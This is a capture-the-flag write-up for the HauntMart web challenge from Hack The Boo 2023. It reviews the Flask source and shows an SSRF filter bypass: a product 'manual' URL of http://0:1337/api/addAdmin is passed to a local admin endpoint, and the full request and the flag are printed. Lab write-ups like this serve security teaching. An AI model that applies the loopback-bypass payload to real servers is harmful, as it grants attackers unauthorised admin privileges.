HauntMart
Challenge
- CTF: Hack The Boo 2023 Official Writeup
- Name: HauntMart
- Category: Web
- Difficulty: Easy
- Points: 300
- Description: An eerie expedition into the world of online retail, where the most sinister and spine-tingling inventory reigns supreme. Can you take it down?
- Objective: SSRF Filter Bypass
Files
Download: web_hauntmart.zip
Writeup
Lets spin-up the docker image of the web and setup our static-code analysis IDE:
1
2
code .
sudo ./build_docker.sh
Browsing to the local webpage: http://127.0.0.1:1337/
, we are greeted with a login page:
Register at /api/register
and login at /api/login
with arbitrary credentials of test:test
and the homepage is shown below at /home
:
Source code analysis:
The following code snippets were traced that contain logic to make a user have administrative level permissions to access the admin page that contains the flag. application/blueprints/routes.py
1
2
3
4
5
6
7
8
9
10
11
12
13
@api.route('/addAdmin', methods=['GET'])
@isFromLocalhost
def addAdmin():
username = request.args.get('username')
if not username:
return response('Invalid username'), 400
result = makeUserAdmin(username)
if result:
return response('User updated!')
return response('Invalid username'), 400
application/database.py
1
2
3
4
5
6
7
8
9
def makeUserAdmin(username):
check_user = query('SELECT username FROM users WHERE username = %s', (username,), one=True)
if check_user:
query('UPDATE users SET role="admin" WHERE username=%s', (username,))
mysql.connection.commit()
return True
return False
application/templates/index.html
1
2
3
4
5
..[snip]..
{% if user['role'] == 'admin' %}
{{flag}}
{% endif %}
..[snip]..
SSRF Exploitation
After we are authenticated, we can add products. There exists an SSRF vulnerability where we can add a manual link to the product and the server will send a request as shown at r = requests.get(url)
. We can use this to send a localhost request to /api/addAdmin?username=
to add ourselves to administrative privileges. application/util.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def downloadManual(url):
safeUrl = isSafeUrl(url)
if safeUrl:
try:
local_filename = url.split("/")[-1]
r = requests.get(url)
with open(f"/opt/manualFiles/{local_filename}", "wb") as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
return True
except:
return False
return False
Note: http://127.0.0.1:1337/api/addAdmin?username=test
does not work! This is because local loopback address. However, http://0:1337/api/addAdmin?username=test
works as shown below: Request:
1
2
3
4
5
6
7
8
9
10
11
12
POST /api/product HTTP/1.1
Host: 83.136.254.53:33995
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 97
Connection: close
Cookie: session=.eJwVy0sOgjAUQNG9dAGEghh1piWQ1_AJSAkybGm0UIofEkTj3oXxveeLxqGTBh2QnOmNh0KligL7AE4UvMDkniCwhe5elYTurWXCwiln3gdjfV6CybVwMxUROnPnraEdVFMlWqy4LzcrjouLl_qZmxRiio1tBc-JMh4ZSSBsW05YU9S7sHLkyRwD9wE91lfbj7nXdOj3B9U4NQc.ZTxaVg.LiI-VBg93R8LJltGxqm-1cjICgs
{"name":"test","price":"1","description":"1","manual":"http://0:1337/api/addAdmin?username=test"}
Relogging in to obtain the flag:
Flag: HTB{A11_55RF_5C4rY_p4tch_3m_411!}